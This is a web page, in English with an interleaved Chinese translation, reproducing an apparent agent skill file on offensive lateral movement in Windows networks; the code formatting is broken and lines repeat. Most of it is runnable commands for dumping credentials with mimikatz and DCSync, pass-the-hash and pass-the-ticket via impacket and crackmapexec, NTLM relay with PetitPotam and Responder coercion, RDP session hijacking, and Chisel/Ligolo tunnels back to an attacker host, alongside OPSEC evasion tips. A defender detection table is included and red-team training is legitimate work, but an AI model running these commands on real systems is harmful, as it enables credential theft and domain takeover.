Back to Details

offensive-lateral-movement

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Offensive Lateral Movement

攻击性横向移动

Lateral movement is the phase where you expand access across a network after initial compromise. You pivot from one system to another using harvested credentials, token manipulation, or protocol abuse. The goal is to reach high-value targets -- domain controllers, database servers, file shares -- while minimizing detection footprint. Every technique here assumes you hold at least one valid credential or session token on the current host.
This skill covers credential-based movement, NTLM relay, remote execution protocols, session hijacking, and network tunneling. Apply these in authorized engagements only.
横向移动是初始攻陷后在网络中扩大访问权限的阶段。你利用收集到的凭据、 令牌操纵或协议滥用，从一台系统转向另一台系统。目标是在尽量减少检测足迹的同时， 抵达高价值目标——域控制器、数据库服务器、文件共享——。此处每项技术都假定 你在当前主机上至少持有一个有效凭据或会话令牌。
本 skill 涵盖基于凭据的移动、NTLM Relay、远程执行协议、会话劫持和网络隧道。 仅在经授权的演练中使用这些技术。

Quick Workflow

快速工作流

  1. Enumerate accessible hosts and open ports (445, 5985, 5986, 3389, 22, 135).
  2. Harvest credentials from the current host (LSASS, SAM, cached creds).
  3. Test credential reuse across discovered hosts with crackmapexec/netexec.
  4. Select a movement technique based on available credentials and target services.
  5. Establish persistence on the new host before moving further.
  6. Set up tunneling if you need to reach segmented networks.
  7. Document each pivot for your engagement report.
  1. 枚举可访问的主机与开放端口（445、5985、5986、3389、22、135）。
  2. 从当前主机收集凭据（LSASS、SAM、缓存凭据）。
  3. 使用 crackmapexec/netexec 测试已发现主机上的凭据复用情况。
  4. 根据可用凭据和目标服务选择横向移动技术。
  5. 在新主机上建立持久化，然后再继续移动。
  6. 如果需要访问分段网络，请建立隧道。
  7. 为演练报告记录每一次枢轴操作。

Pass-the-Hash

Pass-the-Hash

Pass-the-hash (PtH) lets you authenticate with an NTLM hash without knowing the plaintext password. You extract hashes from LSASS, the SAM database, or NTDS.dit, then inject them into authentication requests.
Extract hashes with mimikatz on the current host:
powershell
undefined
Pass-the-Hash（PtH）允许你使用 NTLM 哈希进行身份验证，而无需知道明文密码。 你从 LSASS、SAM 数据库或 NTDS.dit 中提取哈希，然后将其注入身份验证请求。
使用 mimikatz 在当前主机上提取哈希：
powershell
undefined

Elevate to debug privilege and dump logon passwords

Elevate to debug privilege and dump logon passwords

privilege::debug sekurlsa::logonpasswords
privilege::debug sekurlsa::logonpasswords

Dump SAM hashes (requires SYSTEM)

Dump SAM hashes (requires SYSTEM)

lsadump::sam
lsadump::sam

Dump domain hashes from ntds.dit (on a DC)

Dump domain hashes from ntds.dit (on a DC)

lsadump::dcsync /domain:corp.local /all /csv

Use crackmapexec (or netexec) to spray the hash across the network:

```bash
lsadump::dcsync /domain:corp.local /all /csv

使用 crackmapexec（或 netexec）在网络中喷洒该哈希：

```bash

Test a single hash against a subnet

Test a single hash against a subnet

crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

Execute a command on a target via PtH

Execute a command on a target via PtH

crackmapexec smb 10.10.10.50 -u admin -H <NT_HASH> -x "whoami /all"
crackmapexec smb 10.10.10.50 -u admin -H <NT_HASH> -x "whoami /all"

netexec (modern fork) with same syntax

netexec (modern fork) with same syntax

nxc smb 10.10.10.0/24 -u admin -H <NT_HASH> --shares

Use impacket for shell access:

```bash
nxc smb 10.10.10.0/24 -u admin -H <NT_HASH> --shares

使用 impacket 获取 shell 访问权限：

```bash

PtH with psexec

PtH with psexec

impacket-psexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50
impacket-psexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50

PtH with wmiexec (stealthier, no service creation)

PtH with wmiexec (stealthier, no service creation)

impacket-wmiexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50
impacket-wmiexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50

PtH with evil-winrm

PtH with evil-winrm

evil-winrm -i 10.10.10.50 -u administrator -H <NT_HASH>

OPSEC note: PsExec creates a service on the target (event 7045). Prefer
wmiexec or evil-winrm when possible. Crackmapexec with `--no-bruteforce`
prevents lockouts when testing multiple users against multiple hashes.

---
evil-winrm -i 10.10.10.50 -u administrator -H <NT_HASH>

OPSEC 注意：PsExec 会在目标主机上创建服务（事件 7045）。可能时优先使用
wmiexec 或 evil-winrm。测试多个用户与多个哈希的组合时，使用带有
`--no-bruteforce` 的 Crackmapexec 可防止账户锁定。

---

Pass-the-Ticket and Overpass-the-Hash

Pass-the-Ticket 与 Overpass-the-Hash

Pass-the-ticket (PtT) injects a stolen Kerberos TGT or TGS into your session, letting you authenticate as the ticket owner. Overpass-the-hash converts an NTLM hash into a Kerberos ticket, giving you Kerberos-based access from a hash alone.
Export tickets from memory with mimikatz:
powershell
undefined
Pass-the-Ticket（PtT）将窃取的 Kerberos TGT 或 TGS 注入你的会话，使你能够 以票据所有者的身份进行身份验证。Overpass-the-Hash 将 NTLM 哈希转换为 Kerberos 票据，从而仅凭哈希即可获得基于 Kerberos 的访问权限。
使用 mimikatz 从内存中导出票据：
powershell
undefined

List all Kerberos tickets in memory

List all Kerberos tickets in memory

sekurlsa::tickets /export
sekurlsa::tickets /export

Inject a stolen TGT into the current session

Inject a stolen TGT into the current session

kerberos::ptt C:\tickets\admin_krbtgt.kirbi

Overpass-the-hash -- request a Kerberos TGT using an NTLM hash:

```powershell
kerberos::ptt C:\tickets\admin_krbtgt.kirbi

Overpass-the-Hash——使用 NTLM 哈希请求 Kerberos TGT：

```powershell

Overpass-the-hash: create a new logon session with the hash

Overpass-the-hash: create a new logon session with the hash

sekurlsa::pth /user:administrator /domain:corp.local /ntlm:<NT_HASH> /run:powershell.exe

From Linux using impacket:

```bash
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:<NT_HASH> /run:powershell.exe

在 Linux 上使用 impacket：

```bash

Request a TGT with a hash (overpass-the-hash)

Request a TGT with a hash (overpass-the-hash)

impacket-getTGT -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator
impacket-getTGT -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator

Set the ticket in the environment

Set the ticket in the environment

export KRB5CCNAME=administrator.ccache
export KRB5CCNAME=administrator.ccache

Use the ticket with psexec

Use the ticket with psexec

impacket-psexec -k -no-pass corp.local/administrator@dc01.corp.local

Request a service ticket for a specific SPN:

```bash
impacket-psexec -k -no-pass corp.local/administrator@dc01.corp.local

为特定 SPN 请求服务票据：

```bash

Get a TGS for CIFS service on a target

Get a TGS for CIFS service on a target

impacket-getST -spn cifs/fileserver.corp.local -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator

OPSEC note: Kerberos authentication generates event 4768 (TGT request) and
4769 (TGS request). Overpass-the-hash produces an anomalous 4768 with RC4
encryption when AES is the domain default -- this is a known detection signal.

---
impacket-getST -spn cifs/fileserver.corp.local -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator

OPSEC 注意：Kerberos 身份验证会生成事件 4768（TGT 请求）和 4769（TGS 请求）。
当域默认使用 AES 时，Overpass-the-Hash 会产生一个异常的、使用 RC4 加密的
4768 事件——这是已知检测信号。

---

NTLM Relay Attacks

NTLM Relay 攻击

NTLM relay captures authentication attempts and forwards them to a target service. You coerce a machine to authenticate to your listener, then relay that authentication to another host where SMB signing is not enforced.
Check SMB signing across the network:
bash
undefined
NTLM Relay 会捕获身份验证尝试，并将其转发到目标服务。你强制一台机器向你的 监听器进行身份验证，然后将该身份验证中继到另一台未强制实施 SMB signing 的主机。
检查网络中的 SMB signing：
bash
undefined

Identify hosts without SMB signing required

Identify hosts without SMB signing required

crackmapexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt
crackmapexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt

Alternative with nmap

Alternative with nmap

nmap --script smb2-security-mode -p 445 10.10.10.0/24

Set up ntlmrelayx to relay captured authentication:

```bash
nmap --script smb2-security-mode -p 445 10.10.10.0/24

设置 ntlmrelayx 以中继捕获的身份验证：

```bash

Relay to targets without SMB signing, dump SAM

Relay to targets without SMB signing, dump SAM

impacket-ntlmrelayx -tf relay_targets.txt -smb2support
impacket-ntlmrelayx -tf relay_targets.txt -smb2support

Relay and execute a command

Relay and execute a command

impacket-ntlmrelayx -tf relay_targets.txt -smb2support -c "whoami > C:\relay_proof.txt"
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -c "whoami > C:\relay_proof.txt"

Relay to LDAP for delegation abuse or shadow credentials

Relay to LDAP for delegation abuse or shadow credentials

impacket-ntlmrelayx -t ldaps://dc01.corp.local --shadow-credentials --shadow-target ws01$
impacket-ntlmrelayx -t ldaps://dc01.corp.local --shadow-credentials --shadow-target ws01$

Relay to ADCS web enrollment for certificate theft

Relay to ADCS web enrollment for certificate theft

impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

Coerce authentication with PetitPotam (MS-EFSR abuse):

```bash
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

使用 PetitPotam 强制认证（滥用 MS-EFSR）：

```bash

Unauthenticated coercion (patched but often still works)

Unauthenticated coercion (patched but often still works)

python3 PetitPotam.py <LISTENER_IP> <TARGET_DC_IP>
python3 PetitPotam.py <LISTENER_IP> <TARGET_DC_IP>

Authenticated coercion

Authenticated coercion

python3 PetitPotam.py -u user -p password -d corp.local <LISTENER_IP> <TARGET_DC_IP>

Coerce with DFSCoerce (MS-DFSNM):

```bash
python3 dfscoerce.py -u user -p password -d corp.local <LISTENER_IP> <TARGET_DC_IP>
Coerce with PrinterBug (MS-RPRN):
bash
python3 printerbug.py corp.local/user:password@<TARGET_DC_IP> <LISTENER_IP>
Set up Responder for poisoning and capture:
bash
undefined
python3 PetitPotam.py -u user -p password -d corp.local <LISTENER_IP> <TARGET_DC_IP>

使用 DFSCoerce 强制认证（MS-DFSNM）：

```bash
python3 dfscoerce.py -u user -p password -d corp.local <LISTENER_IP> <TARGET_DC_IP>
使用 PrinterBug 强制认证（MS-RPRN）：
bash
python3 printerbug.py corp.local/user:password@<TARGET_DC_IP> <LISTENER_IP>
设置 Responder 进行投毒和捕获：
bash
undefined

Poison LLMNR/NBT-NS and capture hashes

Poison LLMNR/NBT-NS and capture hashes

responder -I eth0 -wFb
responder -I eth0 -wFb

Run in analysis mode first to identify traffic

Run in analysis mode first to identify traffic

responder -I eth0 -A

OPSEC note: NTLM relay is noisy. Responder poisoning is detectable by
monitoring for duplicate name resolution responses. PetitPotam coercion
generates event 4624 type 3 logons from the DC to your listener.

---
responder -I eth0 -A

OPSEC 注意：NTLM Relay 会产生大量噪声。通过监控重复的名称解析响应，可以检测到
Responder 投毒。PetitPotam 强制认证会生成事件 4624，记录从 DC 到你的监听器的
type 3 登录。

---

Remote Execution Methods

远程执行方法

Multiple protocols allow remote command execution once you have valid credentials. Each leaves a different forensic footprint.
拥有有效凭据后，可使用多种协议远程执行命令。每种方式都会留下不同的取证痕迹。

WMI Execution

WMI 执行

bash
undefined
bash
undefined

impacket wmiexec -- semi-interactive shell via WMI

impacket wmiexec -- semi-interactive shell via WMI

impacket-wmiexec corp.local/admin:Password1@10.10.10.50
impacket-wmiexec corp.local/admin:Password1@10.10.10.50

Execute a single command

Execute a single command

impacket-wmiexec corp.local/admin:Password1@10.10.10.50 "ipconfig /all"
impacket-wmiexec corp.local/admin:Password1@10.10.10.50 "ipconfig /all"

With hash

With hash

impacket-wmiexec -hashes :<NT_HASH> corp.local/admin@10.10.10.50

WMI does not create a service. Output is written to a temporary file on the
ADMIN$ share and read back. Generates WMI event logs (Microsoft-Windows-WMI-Activity).
impacket-wmiexec -hashes :<NT_HASH> corp.local/admin@10.10.10.50

WMI 不会创建服务。输出会写入 ADMIN$ 共享上的临时文件，然后被读回。
该操作会生成 WMI 事件日志（Microsoft-Windows-WMI-Activity）。

WinRM / PSRemoting

WinRM / PSRemoting

bash
undefined
bash
undefined

evil-winrm interactive shell

evil-winrm interactive shell

evil-winrm -i 10.10.10.50 -u admin -p 'Password1'
evil-winrm -i 10.10.10.50 -u admin -p 'Password1'

With hash

With hash

evil-winrm -i 10.10.10.50 -u admin -H <NT_HASH>
evil-winrm -i 10.10.10.50 -u admin -H <NT_HASH>

Upload/download files

Upload/download files

upload /local/path/payload.exe C:\Windows\Temp\payload.exe download C:\Users\admin\Desktop\flag.txt /local/loot/flag.txt

```powershell
upload /local/path/payload.exe C:\Windows\Temp\payload.exe download C:\Users\admin\Desktop\flag.txt /local/loot/flag.txt

```powershell

Native PowerShell remoting

Native PowerShell remoting

$cred = Get-Credential Enter-PSSession -ComputerName 10.10.10.50 -Credential $cred Invoke-Command -ComputerName 10.10.10.50 -Credential $cred -ScriptBlock { whoami }

WinRM requires port 5985 (HTTP) or 5986 (HTTPS) open and the user in the
Remote Management Users group (or local admin).
$cred = Get-Credential Enter-PSSession -ComputerName 10.10.10.50 -Credential $cred Invoke-Command -ComputerName 10.10.10.50 -Credential $cred -ScriptBlock { whoami }

WinRM 需要开放端口 5985（HTTP）或 5986（HTTPS），并且用户属于
Remote Management Users 组（或本地管理员）。

PsExec and Alternatives

PsExec 与替代方案

bash
undefined
bash
undefined

impacket psexec -- creates a service, uploads binary

impacket psexec -- creates a service, uploads binary

impacket-psexec corp.local/admin:Password1@10.10.10.50
impacket-psexec corp.local/admin:Password1@10.10.10.50

smbexec -- no binary upload, uses cmd.exe service

smbexec -- no binary upload, uses cmd.exe service

impacket-smbexec corp.local/admin:Password1@10.10.10.50
impacket-smbexec corp.local/admin:Password1@10.10.10.50

atexec -- scheduled task execution

atexec -- scheduled task execution

impacket-atexec corp.local/admin:Password1@10.10.10.50 "whoami"
impacket-atexec corp.local/admin:Password1@10.10.10.50 "whoami"

dcomexec -- DCOM MMC20.Application or ShellWindows

dcomexec -- DCOM MMC20.Application or ShellWindows

impacket-dcomexec -object MMC20 corp.local/admin:Password1@10.10.10.50
undefined
impacket-dcomexec -object MMC20 corp.local/admin:Password1@10.10.10.50
undefined

DCOM Lateral Movement

DCOM 横向移动

powershell
undefined
powershell
undefined

Instantiate MMC20.Application on remote host

Instantiate MMC20.Application on remote host

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.50")) $com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\dcom_proof.txt","7")
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.50")) $com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\dcom_proof.txt","7")

ShellWindows method

ShellWindows method

$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","10.10.10.50")) $com.item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)

DCOM requires port 135 plus dynamic RPC ports. Generates DCOM event logs
(DistributedCOM 10016 errors are common indicators).

---
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","10.10.10.50")) $com.item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)

DCOM 需要端口 135 以及动态 RPC 端口。该操作会生成 DCOM 事件日志
（DistributedCOM 10016 错误是常见指标）。

---

RDP Session Hijacking

RDP 会话劫持

If you have SYSTEM on a terminal server, you can hijack disconnected RDP sessions without knowing the session owner's password.
powershell
undefined
如果你在终端服务器上拥有 SYSTEM 权限，则无需知道会话所有者的密码， 即可劫持已断开的 RDP 会话。
powershell
undefined

List active sessions

List active sessions

query user
query user

Hijack a disconnected session (requires SYSTEM context)

Hijack a disconnected session (requires SYSTEM context)

Session ID 2, redirect to your console session

Session ID 2, redirect to your console session

tscon 2 /dest:console
tscon 2 /dest:console

Create a service to run tscon as SYSTEM

Create a service to run tscon as SYSTEM

sc create sesshijack binpath= "cmd.exe /k tscon 2 /dest:console" net start sesshijack

This technique (T1563.002) is powerful on jump servers where administrators
leave sessions disconnected. It produces event 4778 (session reconnected)
and 4779 (session disconnected).

---
sc create sesshijack binpath= "cmd.exe /k tscon 2 /dest:console" net start sesshijack

该技术（T1563.002）在管理员经常让会话保持断开状态的跳板服务器上非常有效。
它会生成事件 4778（会话已重新连接）和 4779（会话已断开）。

---

SSH Pivoting and Tunneling

SSH 枢轴与隧道

When you land on a Linux host or a Windows host with OpenSSH, you set up tunnels to reach otherwise inaccessible network segments.
当你攻陷 Linux 主机或安装了 OpenSSH 的 Windows 主机时，可以建立隧道， 以访问原本无法访问的网络网段。

SSH Tunnels

SSH 隧道

bash
undefined
bash
undefined

Local port forward: access 10.10.20.50:445 through pivot host

Local port forward: access 10.10.20.50:445 through pivot host

ssh -L 8445:10.10.20.50:445 user@pivot-host
ssh -L 8445:10.10.20.50:445 user@pivot-host

Dynamic SOCKS proxy through pivot host

Dynamic SOCKS proxy through pivot host

ssh -D 1080 user@pivot-host
ssh -D 1080 user@pivot-host

Use proxychains with the SOCKS proxy

Use proxychains with the SOCKS proxy

proxychains crackmapexec smb 10.10.20.0/24
proxychains crackmapexec smb 10.10.20.0/24

Remote port forward: expose internal service to your attack box

Remote port forward: expose internal service to your attack box

ssh -R 8080:127.0.0.1:80 user@attack-box
undefined
ssh -R 8080:127.0.0.1:80 user@attack-box
undefined

Chisel

Chisel

bash
undefined
bash
undefined

On your attack box (server mode)

On your attack box (server mode)

chisel server --reverse --port 8080
chisel server --reverse --port 8080

On the pivot host (client, reverse SOCKS)

On the pivot host (client, reverse SOCKS)

chisel client <ATTACK_IP>:8080 R:socks
chisel client <ATTACK_IP>:8080 R:socks

This creates a SOCKS5 proxy on attack box port 1080

This creates a SOCKS5 proxy on attack box port 1080

Use with proxychains

Use with proxychains

proxychains impacket-psexec corp.local/admin:Password1@10.10.20.50
undefined
proxychains impacket-psexec corp.local/admin:Password1@10.10.20.50
undefined

Ligolo-ng

Ligolo-ng

bash
undefined
bash
undefined

On attack box: start the proxy

On attack box: start the proxy

ligolo-proxy -selfcert -laddr 0.0.0.0:11601
ligolo-proxy -selfcert -laddr 0.0.0.0:11601

On pivot host: connect the agent

On pivot host: connect the agent

ligolo-agent -connect <ATTACK_IP>:11601 -ignore-cert
ligolo-agent -connect <ATTACK_IP>:11601 -ignore-cert

In the ligolo interface, add a route to the target network

In the ligolo interface, add a route to the target network

session ifconfig start
session ifconfig start

On attack box, add route

On attack box, add route

sudo ip route add 10.10.20.0/24 dev ligolo

Ligolo-ng creates a TUN interface on your attack box, giving you direct
IP-layer access to the target network without needing proxychains. This is
significantly more reliable than SOCKS proxying for tools that do not
support proxy configuration.
sudo ip route add 10.10.20.0/24 dev ligolo

Ligolo-ng 会在攻击机上创建一个 TUN 接口，使你能够直接以 IP 层访问目标网络，
而无需 proxychains。对于不支持代理配置的工具，这比 SOCKS 代理方式可靠得多。

Double Pivots

双重枢轴

bash
undefined
bash
undefined

Chain two SSH tunnels for multi-hop pivoting

Chain two SSH tunnels for multi-hop pivoting

Hop 1: pivot1 can reach pivot2

Hop 1: pivot1 can reach pivot2

ssh -L 2222:pivot2:22 user@pivot1
ssh -L 2222:pivot2:22 user@pivot1

Hop 2: through pivot2 to the final target network

Hop 2: through pivot2 to the final target network

ssh -L 8445:10.10.30.50:445 -p 2222 user@127.0.0.1
ssh -L 8445:10.10.30.50:445 -p 2222 user@127.0.0.1

Chisel double pivot

Chisel double pivot

Attack -> pivot1 -> pivot2 -> target

Attack -> pivot1 -> pivot2 -> target

On pivot1: chisel server + client chained

On pivot1: chisel server + client chained

chisel server --port 9001 --reverse chisel client <ATTACK_IP>:8080 R:socks
chisel server --port 9001 --reverse chisel client <ATTACK_IP>:8080 R:socks

On pivot2: connect through pivot1

On pivot2: connect through pivot1

chisel client pivot1:9001 R:1081:socks

---
chisel client pivot1:9001 R:1081:socks

---

Detection / Defender View

检测 / 防御方视角

Understand what defenders look for so you can assess detection risk.
TechniquePrimary DetectionEvent IDs / Logs
Pass-the-HashNTLM logon with type 3, no preceding type 104624 (logon type 3, 9)
Pass-the-TicketTGT request with RC4 when AES is default4768, 4769
NTLM RelayMachine account authenticating to unusual services4624, NTLM audit logs
PsExecService creation, ADMIN$ share access7045, 5145
WMIWMI process creation, temp file on ADMIN$WMI-Activity, 4688
WinRMWSMan connection, PowerShell remoting logsMicrosoft-Windows-WinRM
DCOMDistributedCOM errors, RPC traffic10016, 4688
RDP HijackSession reconnect without logon4778, 4779
Chisel/LigoloUnusual outbound connections, TUN interfaceNetflow, Sysmon 3
Key defender controls you will encounter:
  • SMB signing enforcement blocks relay attacks entirely.
  • Credential Guard prevents LSASS hash extraction on modern Windows.
  • Windows Defender Credential Guard protects Kerberos tickets in memory.
  • LAPS makes local admin hashes unique per host, limiting PtH scope.
  • Tiered administration restricts where privileged accounts can log on.
  • Network segmentation limits lateral reachability.
  • Sysmon with proper configuration captures process creation, network connections, and named pipe events that reveal most techniques here.
了解防御方会查找哪些痕迹，以便评估检测风险。
技术主要检测方式事件 ID / 日志
Pass-the-Hash使用 type 3 的 NTLM 登录，之前没有 type 104624（登录类型 3、9）
Pass-the-TicketAES 为默认值时使用 RC4 发起 TGT 请求4768、4769
NTLM Relay机器账户向异常服务进行身份验证4624、NTLM 审核日志
PsExec服务创建、ADMIN$ 共享访问7045、5145
WMIWMI 进程创建、ADMIN$ 上的临时文件WMI-Activity、4688
WinRMWSMan 连接、PowerShell 远程处理日志Microsoft-Windows-WinRM
DCOMDistributedCOM 错误、RPC 流量10016、4688
RDP Hijack没有登录的情况下重新连接会话4778、4779
Chisel/Ligolo异常出站连接、TUN 接口Netflow、Sysmon 3
你在评估过程中会遇到的关键防御控制措施：
  • SMB signing enforcement 可完全阻止 NTLM Relay 攻击。
  • Credential Guard 可阻止在现代 Windows 上提取 LSASS 哈希。
  • Windows Defender Credential Guard 可保护内存中的 Kerberos 票据。
  • LAPS 为每台主机生成唯一的本地管理员哈希，从而限制 PtH 的影响范围。
  • Tiered administration 限制特权账户可以登录的位置。
  • Network segmentation 限制横向可达范围。
  • Sysmon 配置得当时，可捕获进程创建、网络连接和命名管道事件，暴露此处的大多数技术。

Engagement Cheatsheet

演练速查表

Rapid reference for common lateral movement scenarios:
text
SCENARIO                          TECHNIQUE                    TOOL / COMMAND
-------------------------------   --------------------------   ----------------------------------------
Have NTLM hash, SMB open          Pass-the-Hash                crackmapexec smb -H / impacket-wmiexec -hashes
Have NTLM hash, WinRM open        PtH over WinRM               evil-winrm -H
Have cleartext creds               PSRemoting / WinRM           evil-winrm -u -p / Enter-PSSession
Have Kerberos ticket               Pass-the-Ticket              export KRB5CCNAME= / kerberos::ptt
No creds, SMB signing off          NTLM Relay                   ntlmrelayx + PetitPotam/Responder
SYSTEM on terminal server          RDP Hijack                   tscon <ID> /dest:console
Need to reach segmented net        Tunneling                    chisel / ligolo-ng / ssh -D
Linux pivot host                   SSH tunneling                ssh -D 1080 / ssh -L
Need full IP-layer access          Ligolo-ng                    ligolo-proxy + ligolo-agent
Multi-hop pivot                    Chained tunnels              SSH ProxyJump / chisel chain
Domain creds, want Kerberos        Overpass-the-Hash            sekurlsa::pth / impacket-getTGT
Need stealth execution             WMI / DCOM                   impacket-wmiexec / dcomexec
MITRE ATT&CK references:
  • T1021 -- Remote Services (.001 RDP, .002 SMB, .003 DCOM, .004 SSH, .006 WinRM)
  • T1550 -- Use Alternate Authentication Material (.002 PtH, .003 PtT)
  • T1557 -- Adversary-in-the-Middle (.001 LLMNR/NBT-NS Poisoning)
  • T1563 -- Remote Service Session Hijacking (.002 RDP Hijacking)
常见横向移动场景的快速参考：
text
SCENARIO                          TECHNIQUE                    TOOL / COMMAND
-------------------------------   --------------------------   ----------------------------------------
Have NTLM hash, SMB open          Pass-the-Hash                crackmapexec smb -H / impacket-wmiexec -hashes
Have NTLM hash, WinRM open        PtH over WinRM               evil-winrm -H
Have cleartext creds               PSRemoting / WinRM           evil-winrm -u -p / Enter-PSSession
Have Kerberos ticket               Pass-the-Ticket              export KRB5CCNAME= / kerberos::ptt
No creds, SMB signing off          NTLM Relay                   ntlmrelayx + PetitPotam/Responder
SYSTEM on terminal server          RDP Hijack                   tscon <ID> /dest:console
Need to reach segmented net        Tunneling                    chisel / ligolo-ng / ssh -D
Linux pivot host                   SSH tunneling                ssh -D 1080 / ssh -L
Need full IP-layer access          Ligolo-ng                    ligolo-proxy + ligolo-agent
Multi-hop pivot                    Chained tunnels              SSH ProxyJump / chisel chain
Domain creds, want Kerberos        Overpass-the-Hash            sekurlsa::pth / impacket-getTGT
Need stealth execution             WMI / DCOM                   impacket-wmiexec / dcomexec
MITRE ATT&CK 参考：
  • T1021 -- Remote Services (.001 RDP, .002 SMB, .003 DCOM, .004 SSH, .006 WinRM)
  • T1550 -- Use Alternate Authentication Material (.002 PtH, .003 PtT)
  • T1557 -- Adversary-in-the-Middle (.001 LLMNR/NBT-NS Poisoning)
  • T1563 -- Remote Service Session Hijacking (.002 RDP Hijacking)

Key References

关键参考资料